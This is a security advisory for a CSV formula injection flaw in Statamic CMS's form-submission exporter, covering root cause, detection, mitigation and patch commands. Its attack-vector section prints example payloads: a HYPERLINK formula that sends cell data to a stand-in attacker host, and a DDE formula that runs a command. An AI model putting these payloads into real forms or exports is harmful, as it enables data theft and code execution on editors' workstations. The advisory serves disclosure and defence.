CVE-2026-54243: Statamic CMS CSV Formula Injection XSS Flaw

CVE-2026-54243 Overview

CVE-2026-54243 is a CSV formula injection vulnerability in Statamic, a Laravel and Git-powered content management system (CMS). The flaw exists in src/Forms/Exporters/CsvExporter.php, where form submission values were not neutralized for spreadsheet formula characters when exported to CSV. An unauthenticated front-end visitor can submit a value beginning with a formula trigger character such as =, +, -, or @. When a Control Panel editor later opens the export in a spreadsheet application, that value is interpreted as a live formula. The issue is fixed in Statamic versions 5.73.24 and 6.20.1.

Critical Impact
Anonymous attackers can inject spreadsheet formulas through public form submissions, resulting in code execution inside spreadsheet applications opened by Control Panel users.

Affected Products

Statamic CMS versions prior to 5.73.24 (5.x branch)
Statamic CMS versions prior to 6.20.1 (6.x branch)
Sites exposing form submissions to unauthenticated visitors with CSV export enabled

Discovery Timeline

2026-07-17 - CVE-2026-54243 published to NVD
2026-07-23 - Last updated in NVD database

Technical Details for CVE-2026-54243

Vulnerability Analysis

The vulnerability is a CSV Injection issue, classified under [CWE-1236] Improper Neutralization of Formula Elements in a CSV File. Statamic's form submission exporter wrote raw user input into CSV rows without escaping the leading characters that spreadsheet applications interpret as formulas. Because form submissions accept input from anonymous front-end visitors, the attacker never needs authentication. Execution occurs only when a Control Panel editor downloads and opens the CSV file in Excel, LibreOffice Calc, or Google Sheets, which is why user interaction is required and the scope changes to the editor's workstation.

Root Cause

The CsvExporter class relied on league/csv version ^9.0 and wrote submission fields directly to the output stream. It did not invoke a formula-escaping routine on values whose first character was =, +, -, or @. The fix imports League\Csv\EscapeFormula and bumps the league/csv requirement to ^9.1, applying the escape filter to all exported values.

Attack Vector

An attacker submits a public Statamic form with a field value such as =HYPERLINK("http://attacker/x?c="&A1,"Click") or =cmd|'/c calc'!A1. The value is stored as a normal submission. When a Control Panel user exports submissions to CSV and opens the file, the spreadsheet application evaluates the formula. This can exfiltrate other cell contents, trigger external requests, or in legacy configurations invoke Dynamic Data Exchange (DDE) to run local commands.

php

// Patch: src/Forms/Exporters/CsvExporter.php
namespace Statamic\Forms\Exporters;

use League\Csv\EscapeFormula;
use League\Csv\Writer;
use SplTempFileObject;
use Statamic\Support\Arr;

Source: Statamic commit f17c098

text

# composer.json dependency bump
-        "league/csv": "^9.0",
+        "league/csv": "^9.1",

Source: Statamic commit f17c098

Detection Methods for CVE-2026-54243

Indicators of Compromise

Form submission records whose field values begin with =, +, -, @, tab (0x09), or carriage return (0x0D).
CSV export files generated by CsvExporter containing unescaped formula prefixes in submission columns.
Outbound network requests from editor workstations to unexpected domains shortly after opening a Statamic export.

Detection Strategies

Query the Statamic submissions data store for values matching the regular expression ^[=+\-@\t\r] across all form fields.
Review web server logs for POST requests to Statamic form endpoints containing formula-prefixed payloads in body parameters.
Inspect endpoint telemetry for spreadsheet processes (EXCEL.EXE, soffice.bin) spawning child processes or issuing network calls after opening files sourced from the Statamic Control Panel.

Monitoring Recommendations

Alert on Office applications launching cmd.exe, powershell.exe, wscript.exe, or curl as child processes.
Log all CSV exports from the Statamic Control Panel and correlate with the reviewing user identity.
Track submission entries that contain formula trigger characters and flag them for security review before export.

How to Mitigate CVE-2026-54243

Immediate Actions Required

Upgrade Statamic to 5.73.24 or 6.20.1, which apply League\Csv\EscapeFormula to all exported values.
Audit existing form submissions for stored payloads beginning with formula trigger characters and quarantine suspect entries.
Instruct Control Panel editors to open exports in a spreadsheet application configured to block automatic formula execution until patching is complete.

Patch Information

The fix is delivered in Statamic v5.73.24 and Statamic v6.20.1. The upstream code change is documented in pull request #14760 and commit f17c098. Full advisory details are available in GHSA-h77m-qrj7-jxcw.

Workarounds

Sanitize submissions at ingress by rejecting or prefixing values that start with =, +, -, or @ before persistence.
Extend the CsvExporter or post-process exports to prepend a single quote to fields with formula trigger characters.
Disable automatic formula evaluation and DDE in editor spreadsheet applications through Group Policy or application settings.

bash

# Upgrade Statamic via Composer to a patched release
composer require statamic/cms:^5.73.24
# or for the 6.x branch
composer require statamic/cms:^6.20.1
composer update statamic/cms league/csv
php artisan cache:clear